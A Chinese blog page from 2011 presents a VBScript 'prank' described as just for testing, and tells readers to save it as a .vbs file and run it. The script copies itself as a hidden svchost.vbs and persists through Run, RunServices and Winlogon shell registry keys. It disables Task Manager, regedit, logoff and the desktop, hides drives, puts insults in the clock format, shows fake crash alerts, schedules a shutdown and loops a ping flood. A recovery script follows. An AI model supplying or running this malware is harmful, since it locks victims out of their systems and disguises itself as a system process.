- 浏览: 17396 次
最新评论
vbs 脚本没事测试玩
2011年03月27日
Set objFS = CreateObject("Scripting.FileSystemObject")
Set objFSO = CreateObject("Scripting.FileSystemObject")
set wsh=wscript.createobject("wscript.shell")
set reg=wscript.createobject("wscript.shell")
dim wsh
a=WScript.ScriptFullName
b="shutdown -t 60 -s -c 。。。加载!"
c="c:\svchost.vbs"
d="d:\svchost.vbs"
s="c:\windows\system32\svchost.vbs"
c1="attrib +s +h +a +r c:\svchost.vbs"
d1="attrib +s +h +a +r d:\svchost.vbs"
s1="attrib +s +h +a +r c:\windows\system32\svchost.vbs"
If objFSO.FileExists (c) Then
Else
objFs.GetFile (a).Copy (c)
wsh.run c1
End If
If objFSO.FileExists(d) Then
Else
objFs.GetFile (a).Copy (d)
wsh.run d1
End If
If objFSO.FileExists(s) Then
Else
objFs.GetFile (a).Copy (s)
wsh.run s1
End If
wsh.run b
wsh.run "narrator"
reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools","00000001","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr","00000001","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\explorer\NoRun","00000001","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\explorer\NoClose","00000001","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\explorer\NoLogoff","00000001","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\explorer\NoDesktop","00000001","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\explorer\NoDrives","000000100","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost","c:\svchost.vbs","REG_SZ"
reg.regwrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost","d:\svchost.vbs","REG_SZ"
reg.regwrite"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices\svchost","c:\windows\system32\svchost.vbs","REG_SZ"
reg.regwrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices\svchost","c:\windows\system32\svchost.vbs","REG_SZ"
reg.regwrite"HKEY_CURRENT_USER\Control Panel\International\sTimeFormat","tttt H:mm:ss","REG_SZ"
reg.regwrite"HKEY_CURRENT_USER\Control Panel\International\s1159","笨蛋!","REG_SZ"
reg.regwrite"HKEY_CURRENT_USER\Control Panel\International\s2359","傻逼!","REG_SZ"
reg.regwrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\shell","c:\windows\system32\svchost.vbs","REG_SZ"
msgbox "系统快要崩溃了!",48,"由于你经常看黄页:"
msgbox "windows崩溃了!",18,"安全警报:"
do
wsh.run ("ping -t -l 6500 192.168.1.1")
loop
'请将以上代码保存在txt文件中保存、再把后缀名txt改成vbs后执行后就可以看到效果
了解救方法如下:
开机的时候按F8选择从带命令行的安全模式启动系统,然后执行以下命令
attrib -s -r -h -a c:\windows\system32\svchost.vbs
attrib -s -r -h -a c:\svchost.vbs
attrib -s -r -h -a d:\svchost.vbs
explorer
然后从以上文件目录中找到那VBS文件,把他们删除既可,还要自己建立一个新的VBS文件,把一下代码复制进去执行一次就OK了!
set reg=wscript.createobject("wscript.shell")
reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools","00000000","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr","00000000","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\explorer\NoRun","00000000","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\explorer\NoClose","00000000","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\explorer\NoLogoff","00000000","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\explorer\NoDesktop","00000000","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\explorer\NoDrives","000000000","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost","","REG_SZ"
reg.regwrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost","","REG_SZ"
reg.regwrite"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices\svchost","","REG_SZ"
reg.regwrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices\svchost","","REG_SZ"
reg.regwrite"HKEY_CURRENT_USER\Control Panel\International\sTimeFormat","H:mm:ss","REG_SZ"
reg.regwrite"HKEY_CURRENT_USER\Control Panel\International\s1159","AM","REG_SZ"
reg.regwrite"HKEY_CURRENT_USER\Control Panel\International\s2359","PM","REG_SZ"
reg.regwrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\shell","Explorer.exe","REG_SZ"
msgbox "解救成功,请勿用此代码破坏别人",64,"OK"
不明白不要玩
发表评论
-
OVERLAPPED 与 FILE_FLAG_OVERLAPPED
2012-01-20 02:54 1550OVERLAPPED 与 FILE_FLAG_OVERLA ... -
SQLITE3使用总结
2012-01-20 02:54 663SQLITE3使用总结 2010年06 ... -
Linux下Libpcap源码分析和包过虑机制
2012-01-20 02:54 811Linux下Libpcap源码分析和 ... -
嵌入式Linux中的进程同步无竞争态读写
2012-01-20 02:54 595嵌入式Linux中的进程同步无竞争态读写 2010年06月1 ... -
玩转Android---组件篇---Intent(意图)
2012-01-20 02:54 805玩转Android---组件篇---Intent(意图) 2 ... -
VBS脚本文件大全
2012-01-19 13:27 623VBS脚本文件大全 2011年05月24日 一、自动打开 ... -
自动下载并运行的VBS脚本代码[转载]
2012-01-19 13:27 641自动下载并运行的VBS脚本代码[转载] 2012年01月15 ... -
oFusion
2012-01-19 13:27 909oFusion 2011年03月10日 oFusion问 ... -
虚拟串口(非常、非常初级的文章)
2012-01-19 13:27 734虚拟串口(非常、非常初级的文章) 2010年11月25日 ... -
WinCE驱动开发问题精华集锦
2012-01-17 03:17 549WinCE驱动开发问题精华 ... -
WinCE驱动开发问题精华集锦(一)
2012-01-17 03:16 565WinCE驱动开发问题精华 ... -
linux下nginx+php的安装与配置
2012-01-17 03:16 523linux下nginx+php的安装与 ... -
【教程】Android系统手机 菜鸟扫盲汇总
2012-01-17 03:16 778【教程】Android系统手机 菜鸟扫盲汇总 2011年10 ... -
常用词汇解释
2012-01-17 03:16 607常用词汇解释 2011年02月10日 1*Android ... -
宋小鱼孙二狗之“长相”
2012-01-16 01:49 600宋小鱼孙二狗之“长相 ... -
东北之行(七)――东北那旮儿的人
2012-01-16 01:49 693东北之行(七)――东北那旮儿的人 2010年03月12日 ... -
东北话四级、六级、八极测试!非东北人勿进,容易晕
2012-01-16 01:49 844东北话四级、六级、八 ... -
俺是东北人,俺骄傲!
2012-01-16 01:49 667俺是东北人,俺骄傲! 2010年02月05日 东北 ... -
东北话考级-东北人必看
2012-01-16 01:49 683东北话考级-东北人必看 2009年08月15日 东北话 ... -
jqury each的使用
2012-01-11 01:43 688jqury each的使用 2011年09月01日 ...
相关推荐
用VBS脚本关闭系统还原,已经测试过,需要重新启动计算机
在VBS中,使用Telnet连接远程端口,测试远程端口是否开放。不依赖Active库。
亲测可用! 很有意思的小脚本,VBS vbs脚本实现获取屏幕分辨率,大家一起学习分享啊! 本人将会不定期的上传一些经过测试可用的vbs小程序。
openwrt总结(xshell vbs脚本自动化测试)
QTP VBS 脚本 项目 在实际项目中使用到的脚本以及自定义测试报告
vbs脚本,用正则表达式判断字符串类型,多用于QTP自动化测试脚本
简单的vbs弹窗,问她最喜欢的人是谁?只有当她输入你的名字的时候,弹窗才会关闭,否则弹窗一直存在,一个简单的小功能,大家可以试试
修改3389端口 vbs脚本 tc老师提供 简便好用 适合XP , 2000 2003未测试
此时脚本已经在循环监测U盘的插入 三、插入U盘 U盘插入后,就开始文件的复制。复制完成后会出现提示对话框。 如果不希望出现该对话框,可以将 “Msgbox "Windows 错误",64”注释掉 四、寻找文件 此时,文件已经在...
非常好的vbscript系统自动化测试脚本,包含了一些对excel操作的封装函数,给大家参考,希望对大家有用!
里边有测试的vbs脚本,直接调试即可
Vbs脚本编程简明教程,适合QTP测试用编写脚本。
vbs脚本开发教程/ 软件测试/运维都可以考虑学习使用的开发语言,简单易学,快速上手
自动关机VBS脚本,本人用了近1天时间反复修改,不停重启测试才得以完成,真的是反复煎熬,不断坚持呐,呵呵。本程序DIY味道十足,可以自定义一周内的任一天或几天,任何时段的任何时间,另外提供了一个提示框,可...
很好的vbs编程实例和vbs脚本教程,学完后可以看看自动化测试的文档,对自动化测试的学习很有帮助。。。
脚本为VBS编写,利用WMI编写,通过测试。 使用中Flag为你要检索清理的关键字,并取消这两行的注释: Link:71 '''oReg.DeleteKey k_root, subkey '删除注册表的代码 Link:151 '''oReg.DeleteValue strKR, ...
非常好用的vbs转exe工具,亲自测试可用。无bug,还可以编辑vb脚本,语法高亮,使用简单。
VbsEdit-VBS脚本编辑器-QTP自动化测试 iquicktest教研室:http://www.iquicktest.com/bbs
自带PHP测试服务器+VBS脚本,京东价格图片转数字的工具。 某产品价格出现变动,就会提示音乐报警。可以按说明自己设置商品。 VBS为主要测试入口,HOME文件为PHP服务器。 非正常关闭注意后台清理线程可二次运行。 ...
自动化测试脚本例子共享